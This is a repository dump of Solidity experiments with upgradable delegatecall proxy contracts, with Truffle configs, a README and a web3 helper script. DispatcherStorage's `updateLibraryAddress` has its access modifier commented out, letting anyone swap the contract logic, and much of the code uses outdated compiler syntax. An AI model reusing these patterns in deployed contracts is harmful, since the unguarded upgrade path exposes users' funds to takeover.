newContractAddress) public onlyOwner { 22 | upgradableContractAddress = newContractAddress; 23 | } 24 | 25 | function () public { 26 | 27 | bool callSuccess = upgradableContractAddress.delegatecall(msg.data); 28 | 29 | if (callSuccess) { 30 | assembly { 31 | // returndatacopy(toMemAddress, fromMemAddress, sizeInBytes) 32 | returndatacopy(0x0, 0x0, returndatasize) 33 | // return(fromMemAddress, sizeInBytes) 34 | return(0x0, returndatasize) 35 | } 36 | } else { 37 | revert(); 38 | } 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /Upgradable/ByzantiumUpgradable/contracts/UpgradableContractProxyAssembly.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | import "./Ownable.sol"; 4 | 5 | // TODO: Should be ownable, by some multi-sig / dao. 6 | contract UpgradableContractProxyAssembly is Ownable { 7 | 8 | address private upgradableContractAddress; 9 | 10 | function UpgradableContractProxyAssembly(address initialContractAddress) public { 11 | upgradableContractAddress = initialContractAddress; 12 | } 13 | 14 | function setContractAddress(address newContractAddress) public onlyOwner { 15 | upgradableContractAddress = newContractAddress; 16 | } 17 | 18 | function () public { 19 | address upgradableContractMem = upgradableContractAddress; 20 | bytes memory functionCall = msg.data; 21 | 22 | assembly { 23 | // Load the first 32 bytes of the functionCall bytes array which represents the size of the bytes array 24 | let functionCallSize := mload(functionCall) 25 | 26 | // Calculate functionCallDataAddress which starts at the second 32 byte block in the functionCall bytes array 27 | let functionCallDataAddress := add(functionCall, 0x20) 28 | 29 | // delegatecall(gasAllowed, callAddress, inMemAddress, inSizeBytes, outMemAddress, outSizeBytes) returns/pushes to stack (1 on success, 0 on failure) 30 | let functionCallResult := delegatecall(gas, upgradableContractMem, functionCallDataAddress, functionCallSize, 0, 0) 31 | 32 | let freeMemAddress := mload(0x40) 33 | 34 | switch functionCallResult 35 | case 0 { 36 | // revert(fromMemAddress, sizeInBytes) ends execution and returns value 37 | revert(freeMemAddress, 0) 38 | } 39 | default { 40 | // returndatacopy(toMemAddress, fromMemAddress, sizeInBytes) 41 | returndatacopy(freeMemAddress, 0x0, returndatasize) 42 | // return(fromMemAddress, sizeInBytes) 43 | return(freeMemAddress, returndatasize) 44 | } 45 | } 46 | } 47 | } -------------------------------------------------------------------------------- /Upgradable/ByzantiumUpgradable/contracts/upgradableImplementations/ContractInterface.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | // Note we don't need to use this interface (although it is advised if it's unlikely it will change). 4 | // We can cast the UpgradableContractProxy as the specific implementations eg ContractV1.sol or ContractV2.sol. 5 | // As can be seen in the getUpdatedDynamicallySizedValue() test case. 6 | contract ContractInterface { 7 | 8 | function returnValue() public constant returns (uint); 9 | 10 | function setStorageValue(uint value) public; 11 | function getStorageValue() public constant returns (uint); 12 | 13 | function setDynamicallySizedValue(string dynamicValue) public; 14 | function getDynamicallySizedValue() public constant returns (string); 15 | } 16 | -------------------------------------------------------------------------------- /Upgradable/ByzantiumUpgradable/contracts/upgradableImplementations/ContractV1.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | import "./ContractInterface.sol"; 4 | 5 | contract ContractV1 is ContractInterface { 6 | 7 | // Stored data actually lives in the UpgradableContractProxy. However the storage layout is specified here in the implementing contracts. 8 | // The first variable in the UpgradableContractProxy is a reference to the address of this contract, the second is the owner, from the inherited Ownable.sol. 9 | // Therefore the first and second references in each contract using the UpgradableContractProxy must be set aside for these addresses. 10 | address private upgradableContractAddress; 11 | address public owner; 12 | 13 | // The storage layout must remain the same in all the upgraded contracts, although it can be added to. 14 | // Note that besides the potential mess of unnecessary variables this could create over time, there isn't currently 15 | // any increase in cost because of this. 16 | uint public storageValue; 17 | string public dynamicallySizedValue; 18 | 19 | function returnValue() public constant returns (uint) { 20 | return 10; 21 | } 22 | 23 | function setStorageValue(uint value) public { 24 | storageValue = value; 25 | } 26 | 27 | // We can't use the automatically created getter methods for public vars if 28 | // we want them to be updatable because we can't specify them in an interface. 29 | function getStorageValue() public constant returns (uint) { 30 | return storageValue; 31 | } 32 | 33 | function setDynamicallySizedValue(string dynamicValue) public { 34 | dynamicallySizedValue = dynamicValue; 35 | } 36 | 37 | function getDynamicallySizedValue() public constant returns (string) { 38 | return dynamicallySizedValue; 39 | } 40 | 41 | } 42 | -------------------------------------------------------------------------------- /Upgradable/ByzantiumUpgradable/contracts/upgradableImplementations/ContractV2.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | import "./ContractInterface.sol"; 4 | 5 | contract ContractV2 is ContractInterface { 6 | 7 | address private upgradableContractAddress; 8 | address public owner; 9 | 10 | uint public storageValue; 11 | string public dynamicallySizedValue; 12 | uint[] public updatedDynamicallySizedValue; 13 | 14 | function returnValue() public constant returns (uint) { 15 | return 20; 16 | } 17 | 18 | function setStorageValue(uint value) public { 19 | storageValue = value * 2; 20 | } 21 | 22 | function getStorageValue() public constant returns (uint) { 23 | return storageValue; 24 | } 25 | 26 | function setDynamicallySizedValue(string dynamicValue) public {} 27 | 28 | function getDynamicallySizedValue() public constant returns (string) {} 29 | 30 | /** 31 | * @notice The 2 functions below represent newly updated functions returning a different dynamically sized value. 32 | * Ideally we would do our best to avoid changing the signature of updated functions. 33 | * If adhering to an interface we have to update it and everywhere the interface is used. 34 | */ 35 | function setDynamicallySizedValue(uint[] _updatedDynamicallySizedValue) public { 36 | updatedDynamicallySizedValue = _updatedDynamicallySizedValue; 37 | } 38 | 39 | /** 40 | * @notice This new function signature must be different than the one in the interface. 41 | * Note the return value does not contribute to the signature. 42 | */ 43 | function getUpdatedDynamicallySizedValue() public constant returns (uint[]) { 44 | return updatedDynamicallySizedValue; 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /Upgradable/ByzantiumUpgradable/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | var Migrations = artifacts.require("./Migrations.sol"); 2 | 3 | module.exports = function(deployer) { 4 | // deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /Upgradable/ByzantiumUpgradable/truffle.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | networks: { 3 | development: { 4 | host: "localhost", 5 | port: 8544, 6 | network_id: "*", // Match any network id 7 | gas: 4000000 8 | }, 9 | testnet: { 10 | host: "localhost", 11 | port: 8547, 12 | network_id: "4", 13 | gas: 4000000, 14 | gasPrice: 21000000111 15 | }, 16 | compilers: { 17 | solc: { 18 | version: "0.4.18", // ex: "0.4.20". (Default: Truffle's installed solc) 19 | } 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /Upgradable/EtherRouter/contracts/EtherRouter.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.8; 2 | 3 | import "./Resolver.sol"; 4 | 5 | // Copied from npm installed ether-router package as there are currently no .sol.js files. 6 | contract EtherRouter { 7 | 8 | Resolver resolver; 9 | 10 | function EtherRouter(Resolver _resolver) { 11 | resolver = _resolver; 12 | } 13 | 14 | function() payable { 15 | uint r; 16 | 17 | // Get routing information for the called function 18 | var (destination, outsize) = resolver.lookup(msg.sig, msg.data); 19 | 20 | // Make the call 21 | assembly { 22 | // I think we have to use the assembly delegatecall as opposed to the standard one 23 | // as we can't return a value using the standard one. 24 | // Note mload(0x40) returns the location of where free memory begins. 25 | calldatacopy(mload(0x40), 0, calldatasize) 26 | // delegatecall(gas, address, inMem, insize, outMem, outsize) 27 | r := delegatecall(sub(gas, 700), destination, mload(0x40), calldatasize, mload(0x40), outsize) 28 | } 29 | 30 | // Throw if the call failed 31 | if (r != 1) {throw;} 32 | 33 | // Pass on the return value 34 | assembly { 35 | return (mload(0x40), outsize) 36 | } 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /Upgradable/EtherRouter/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.4; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | modifier restricted() { 8 | if (msg.sender == owner) _; 9 | } 10 | 11 | function Migrations() public { 12 | owner = msg.sender; 13 | } 14 | 15 | function setCompleted(uint completed) public restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) public restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /Upgradable/EtherRouter/contracts/upgradableImplementations/ContractInterface.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.15; 2 | 3 | contract ContractInterface { 4 | 5 | function returnValue() public constant returns (uint); 6 | 7 | function setStorageValue(uint value) public; 8 | function getStorageValue() public constant returns (uint); 9 | 10 | function setDynamicallySizedValue(string dynamicValue) public; 11 | function getDynamicallySizedValue() public constant returns (string); 12 | function getDynamicallySizedValueSize() public constant returns (uint); 13 | } 14 | -------------------------------------------------------------------------------- /Upgradable/EtherRouter/contracts/upgradableImplementations/ContractV1.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.15; 2 | 3 | import "./ContractInterface.sol"; 4 | import "../Resolver.sol"; 5 | 6 | contract ContractV1 is ContractInterface { 7 | 8 | // Stored data lives in the EtherRouter. The first and only variable in the Ether router is a reference to the Resolver. 9 | // Therefore the first reference in each contract using the EtherRouter must be set aside for the resolver. 10 | // The current storage layout must remain the same in all the upgraded contracts, although it can be added to. 11 | // Note that besides the potential mess of unnecessary variables this could create over time, there isn't currently 12 | // any increase in cost because of this. 13 | Resolver public resolver; 14 | uint public storageValue; 15 | string public dynamicallySizedValue; 16 | 17 | function returnValue() public constant returns (uint) { 18 | return 10; 19 | } 20 | 21 | function setStorageValue(uint value) public { 22 | storageValue = value; 23 | } 24 | 25 | // We can't use the automatically created getter methods for public vars if 26 | // we want them to be updatable because we can't specify them in an interface. 27 | function getStorageValue() public constant returns (uint) { 28 | return storageValue; 29 | } 30 | 31 | function setDynamicallySizedValue(string dynamicValue) public { 32 | dynamicallySizedValue = dynamicValue; 33 | } 34 | 35 | function getDynamicallySizedValue() public constant returns (string) { 36 | return dynamicallySizedValue; 37 | } 38 | 39 | function getDynamicallySizedValueSize() public constant returns (uint) { 40 | return bytes(dynamicallySizedValue).length; 41 | } 42 | 43 | } 44 | -------------------------------------------------------------------------------- /Upgradable/EtherRouter/contracts/upgradableImplementations/ContractV2.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.15; 2 | 3 | import "./ContractInterface.sol"; 4 | import "../Resolver.sol"; 5 | 6 | contract ContractV2 is ContractInterface { 7 | 8 | Resolver public resolver; 9 | uint public storageValue; 10 | string public dynamicallySizedValue; 11 | uint[] public updatedDynamicallySizedValue; 12 | 13 | function returnValue() public constant returns (uint) { 14 | return 20; 15 | } 16 | 17 | function setStorageValue(uint value) public { 18 | storageValue = value * 2; 19 | } 20 | 21 | function getStorageValue() public constant returns (uint) { 22 | return storageValue; 23 | } 24 | 25 | function setDynamicallySizedValue(string dynamicValue) public {} 26 | 27 | function getDynamicallySizedValue() public constant returns (string) {} 28 | 29 | /** 30 | * @notice Updated functions returning a different dynamically sized value. 31 | * Ideally we would do our best to avoid changing the signature of updated functions. 32 | * If adhering to an interface we have to keep empty functions around that we may or may 33 | * not wish to register with the resolver depending on the situation. 34 | * If we keep them we must also keep the function returning the return size. 35 | * We must also update calling code to use the new signatures. 36 | */ 37 | function setDynamicallySizedValue(uint[] _updatedDynamicallySizedValue) public { 38 | updatedDynamicallySizedValue = _updatedDynamicallySizedValue; 39 | } 40 | 41 | /** 42 | * @notice This function signature must be different than the one in the interface. 43 | * Note the return value does not contribute to the signature. 44 | */ 45 | function getUpdatedDynamicallySizedValue() public constant returns (uint[]) { 46 | return updatedDynamicallySizedValue; 47 | } 48 | 49 | function getDynamicallySizedValueSize() public constant returns (uint) { 50 | return updatedDynamicallySizedValue.length; 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /Upgradable/EtherRouter/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | var Migrations = artifacts.require("./Migrations.sol"); 2 | 3 | module.exports = function(deployer) { 4 | // deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /Upgradable/EtherRouter/migrations/2_deploy_contracts.js: -------------------------------------------------------------------------------- 1 | 2 | module.exports = function(deployer) { 3 | }; 4 | -------------------------------------------------------------------------------- /Upgradable/EtherRouter/package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "requires": true, 3 | "lockfileVersion": 1, 4 | "dependencies": { 5 | "ether-router": { 6 | "version": "0.4.0", 7 | "resolved": "https://registry.npmjs.org/ether-router/-/ether-router-0.4.0.tgz", 8 | "integrity": "sha1-3gDRvCHSq/yahi8pZ6oGMqf88Xw=" 9 | } 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /Upgradable/EtherRouter/truffle.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | networks: { 3 | development: { 4 | host: "localhost", 5 | port: 8544, 6 | network_id: "*" // Match any network id 7 | } 8 | } 9 | }; 10 | -------------------------------------------------------------------------------- /Upgradable/FallbackStorageAccess/contracts/FallbackContractDelegate.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.0; 2 | 3 | import "./FallbackFuncContract.sol"; 4 | 5 | contract FallbackContractDelegate { 6 | 7 | FallbackFuncContract private fallbackFuncContract; 8 | 9 | function FallbackContractDelegate(address fallbackFuncContractAddress) { 10 | fallbackFuncContract = FallbackFuncContract(fallbackFuncContractAddress); 11 | } 12 | 13 | function callFallbackContract() { 14 | fallbackFuncContract.call("asdf"); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /Upgradable/FallbackStorageAccess/contracts/FallbackFuncContract.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.0; 2 | 3 | 4 | contract FallbackFuncContract { 5 | 6 | uint public someNumber; 7 | 8 | event LogDebug(uint loggedNumber); 9 | 10 | function FallbackFuncContract(uint _someNumber) { 11 | someNumber = _someNumber; 12 | } 13 | 14 | function() { 15 | someNumber += 5; 16 | LogDebug(someNumber); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /Upgradable/FallbackStorageAccess/contracts/FallbackFuncInterface.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.0; 2 | 3 | 4 | library FallbackFuncInterface { 5 | 6 | function callFallback(); 7 | } 8 | -------------------------------------------------------------------------------- /Upgradable/FallbackStorageAccess/contracts/FallbackLibraryDelegate.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.0; 2 | 3 | import "./FallbackFuncInterface.sol"; 4 | 5 | contract FallbackLibraryDelegate { 6 | 7 | function callFallbackContract() { 8 | FallbackFuncInterface.callFallback(); 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /Upgradable/FallbackStorageAccess/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.4; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | modifier restricted() { 8 | if (msg.sender == owner) _; 9 | } 10 | 11 | function Migrations() { 12 | owner = msg.sender; 13 | } 14 | 15 | function setCompleted(uint completed) restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /Upgradable/FallbackStorageAccess/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | var Migrations = artifacts.require("./Migrations.sol"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /Upgradable/FallbackStorageAccess/migrations/2_deploy_contracts.js: -------------------------------------------------------------------------------- 1 | 2 | const FallbackFuncContract = artifacts.require("FallbackFuncContract.sol") 3 | 4 | module.exports = function (deployer) { 5 | deployer.deploy(FallbackFuncContract) 6 | } 7 | -------------------------------------------------------------------------------- /Upgradable/FallbackStorageAccess/truffle.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | networks: { 3 | development: { 4 | host: "localhost", 5 | port: 8544, 6 | network_id: "*" // Match any network id 7 | } 8 | } 9 | }; 10 | -------------------------------------------------------------------------------- /Upgradable/README.md: -------------------------------------------------------------------------------- 1 | # Upgradable 2 | 3 | Methods to enable upgrading of contracts 4 | 5 | ### FallbackStorageAccess 6 | Test project demonstrating an issue with accessing contract storage in contracts linked as libraries. As expected, unfortunately we cannot access storage in a contract if the calling contract is linked to it as a library. 7 | 8 | When copying the ZeppelinUpgradable set of contracts, to begin with I overlooked the fact that libraries can't have storage so I misunderstood why we were hardcoding the `DispatcherStorage` address in the `Dispatcher`'s unlinked_binary during deployment. I made the FallbackStorageAccess project to understand the issue and realised my mistake. Subsequently, unit testing ZeppelinUpgradable (where we re-create the contract for each test) requires a bit of a hack as can be seen in the ZeppelinUpgradable `test/testClean.js` 9 | 10 | ### ZeppelinUpgradable 11 | Older investigation into upgradable contracts, copied from this article: https://blog.zeppelin.solutions/proxy-libraries-in-solidity-79fbe4b970fd and made more readable for my own understanding. 12 | 13 | ### EtherRouter 14 | Project experimenting with the EtherRouter package for creating upgradable contracts. Has very basic tests experimenting with upgrading a basic contract's functions with static and dynamic return types. Has helped me to fully understand the infamous delegate call and how storage is managed. 15 | 16 | ### ByzantiumUpgradable 17 | Set of contracts enabling upgradability post the Byzantium HF. Based largely on the structure of the EtherRouter but which uses the new Assembly opcodes `returndatacopy` and `returndatasize` to remove the need for the EtherRouter's Resolver and other functionality. 18 | -------------------------------------------------------------------------------- /Upgradable/ZeppelinUpgradable/contracts/Dispatcher.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.13; 2 | 3 | import "./DispatcherStorage.sol"; 4 | 5 | contract Dispatcher { 6 | 7 | function() { 8 | // As this is linked to as a library, we can't access this contract's account's storage. 9 | // Therefore we must hard code the DispatcherStorage address. The address (currently 10 | // "0x1111222233334444555566667777888899990000") will be set manually before deployment. 11 | DispatcherStorage dispatcherStorage = DispatcherStorage(0x1111222233334444555566667777888899990000); 12 | uint32 functionReturnTypeSize = dispatcherStorage.returnTypeSizes(msg.sig); 13 | address libraryAddress = dispatcherStorage.libraryAddress(); 14 | 15 | assembly { 16 | // Copy from function callData to memory for access in delegatecall() 17 | calldatacopy(0x0, 0x0, calldatasize) 18 | 19 | // Make delegatecall() to the contract at libraryAddress with the now copied callData in memory. 20 | // Put the return value in memory starting at address 0x0 ending at functionReturnTypeSize. 21 | // Allow it to use the remaining gas - 10000 for execution. 22 | let a := delegatecall(sub(gas, 10000), libraryAddress, 0x0, calldatasize, 0x0, functionReturnTypeSize) 23 | return (0x0, functionReturnTypeSize) 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Upgradable/ZeppelinUpgradable/contracts/DispatcherStorage.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.13; 2 | 3 | contract DispatcherStorage { 4 | 5 | address public libraryAddress; 6 | 7 | mapping (bytes4 => uint32) public returnTypeSizes; 8 | 9 | function DispatcherStorage(address initialLibraryAddress) { 10 | returnTypeSizes[bytes4(sha3("getUint(LibraryInterface.LibraryData storage)"))] = 32; 11 | updateLibraryAddress(initialLibraryAddress); 12 | } 13 | 14 | function updateLibraryAddress(address updatedLibraryAddress) /* onlyDAO */ { 15 | libraryAddress = updatedLibraryAddress; 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /Upgradable/ZeppelinUpgradable/contracts/LibraryInterface.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.13; 2 | 3 | library LibraryInterface { 4 | 5 | struct LibraryData {uint libraryVar;} 6 | 7 | function getUint(LibraryData storage self) returns (uint); 8 | 9 | function setUint(LibraryData storage self, uint libVar); 10 | } 11 | -------------------------------------------------------------------------------- /Upgradable/ZeppelinUpgradable/contracts/LibraryV1.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.13; 2 | 3 | import "./LibraryInterface.sol"; 4 | 5 | library LibraryV1 { 6 | 7 | function getUint(LibraryInterface.LibraryData storage self) returns (uint) { 8 | return self.libraryVar; 9 | } 10 | 11 | function setUint(LibraryInterface.LibraryData storage self, uint libraryVar) { 12 | self.libraryVar = libraryVar; 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /Upgradable/ZeppelinUpgradable/contracts/LibraryV2.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.13; 2 | 3 | import "./LibraryInterface.sol"; 4 | 5 | library LibraryV2 { 6 | 7 | function getUint(LibraryInterface.LibraryData storage self) returns (uint) { 8 | return self.libraryVar * 10; 9 | } 10 | 11 | function setUint(LibraryInterface.LibraryData storage self, uint libraryVar) { 12 | self.libraryVar = libraryVar; 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /Upgradable/ZeppelinUpgradable/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.4; 2 | 3 | contract Migrations { 4 | address public owner; 5 | 6 | uint public last_completed_migration; 7 | 8 | modifier restricted() { 9 | if (msg.sender == owner) _; 10 | } 11 | 12 | function Migrations() { 13 | owner = msg.sender; 14 | } 15 | 16 | function setCompleted(uint completed) restricted { 17 | last_completed_migration = completed; 18 | } 19 | 20 | function upgrade(address new_address) restricted { 21 | Migrations upgraded = Migrations(new_address); 22 | upgraded.setCompleted(last_completed_migration); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /Upgradable/ZeppelinUpgradable/contracts/TheContract.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.13; 2 | 3 | import "./LibraryInterface.sol"; 4 | 5 | contract TheContract { 6 | 7 | using LibraryInterface for LibraryInterface.LibraryData; 8 | 9 | LibraryInterface.LibraryData private libraryInstance; 10 | 11 | function get() constant returns (uint) { 12 | return libraryInstance.getUint(); 13 | } 14 | 15 | function set(uint libraryVar) { 16 | return libraryInstance.setUint(libraryVar); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /Upgradable/ZeppelinUpgradable/migrations/1_migrations.js: -------------------------------------------------------------------------------- 1 | module.exports = (deployer) => { 2 | deployer.deploy(artifacts.require('Migrations.sol')) 3 | } 4 | -------------------------------------------------------------------------------- /Upgradable/ZeppelinUpgradable/test/testOriginal.js: -------------------------------------------------------------------------------- 1 | // 'use strict'; 2 | // 3 | // const Example = artifacts.require('./LibraryV1.sol'); 4 | // const Example2 = artifacts.require('./LibraryV2.sol'); 5 | // const Dispatcher = artifacts.require('Dispatcher.sol'); 6 | // const DispatcherStorage = artifacts.require('DispatcherStorage.sol'); 7 | // const TheContract = artifacts.require('TheContract.sol'); 8 | // 9 | // contract('TestProxyLibrary', () => { 10 | // describe('test', () => { 11 | // it('works', () => { 12 | // var thecontract, dispatcherStorage; 13 | // Example.new() 14 | // .then(example => DispatcherStorage.new(example.address)) 15 | // .then(d => { 16 | // dispatcherStorage = d; 17 | // console.log("Dipatcher Binary TV1: " + Dispatcher.unlinked_binary) 18 | // Dispatcher.unlinked_binary = Dispatcher.unlinked_binary 19 | // .replace('1111222233334444555566667777888899990000', 20 | // dispatcherStorage.address.slice(2)); 21 | // return Dispatcher.new(); 22 | // }) 23 | // .then(dispatcher => { 24 | // TheContract.link('LibraryInterface', dispatcher.address); 25 | // return TheContract.new(); 26 | // }) 27 | // .then(c => { 28 | // thecontract = c; 29 | // return thecontract.set(10); 30 | // }) 31 | // .then(() => Example2.new()) 32 | // .then(newExample => dispatcherStorage.updateLibraryAddress(newExample.address)) 33 | // .then(() => thecontract.get()) 34 | // .then(x => assert.equal(x.toNumber(), 10 * 10)); // Example 2 getter multiplies 35 | // }); 36 | // // it.only('measure gas costs', () => { 37 | // // }); 38 | // }); 39 | // }); 40 | -------------------------------------------------------------------------------- /Upgradable/ZeppelinUpgradable/truffle.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | networks: { 3 | development: { 4 | host: "localhost", 5 | port: 8544, 6 | network_id: "*" // Match any network id 7 | } 8 | } 9 | }; 10 | -------------------------------------------------------------------------------- /Utils/web3Utils.js: -------------------------------------------------------------------------------- 1 | 2 | // Note we need to leave and reopen truffle console if we change this... 3 | // 'require' caches the js files not sure how to easily prevent this. 4 | 5 | // From truffle, REMEMBER TO CHANGE THE PORT! Could convert to an object... 6 | // var utils = require("../Utils/web3Utils.js") 7 | 8 | var Web3 = require('web3') 9 | // Note we must change the web3 provider port when we change the testnet port. 10 | var web3 = new Web3(new Web3.providers.HttpProvider('http://localhost:8546')) 11 | 12 | var acc = index => web3.eth.accounts[index] 13 | 14 | var balance = acct => web3.fromWei(web3.eth.getBalance(acct), 'ether').toNumber() 15 | var rawBalance = acct => web3.eth.getBalance(acct).toNumber() 16 | var balances = numberOfAccounts => { 17 | Array 18 | .from(Array(numberOfAccounts).keys()) 19 | .map(index => acc(index)) 20 | .forEach(account => console.log(account + " : " + balance(account))) 21 | } 22 | 23 | var unlockAccount = (acct, password) => web3.personal.unlockAccount(acct, password, 0); 24 | var unlockAccounts = (numberOfAccounts, password) => { 25 | return Array 26 | .from(Array(numberOfAccounts).keys()) 27 | .map(index => acc(index)) 28 | .map(account => unlockAccount(account, password)) 29 | .every(unlocked => true) 30 | } 31 | 32 | module.exports = { 33 | acc: acc, 34 | balance: balance, 35 | rawBalance: rawBalance, 36 | balances: balances, 37 | unlockAccount: unlockAccount, 38 | unlockAccounts: unlockAccounts, 39 | weiToEther: wei => web3.fromWei(wei, 'ether'), 40 | etherToWei: ether => web3.toWei(ether, 'ether'), 41 | gweiToWei: gwei => web3.toWei(gwei, 'gwei') 42 | } -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "@aragon/apm": "^3.1.0-beta.1", 4 | "bn.js": "^4.11.8", 5 | "ethereum-ens": "^0.7.4", 6 | "ipfs-api": "^14.0.4", 7 | "openzeppelin-solidity": "^2.1.2", 8 | "web3": "0.19.0", 9 | "zeppelin-solidity": "^1.12.0" 10 | } 11 | } 12 | --------------------------------------------------------------------------------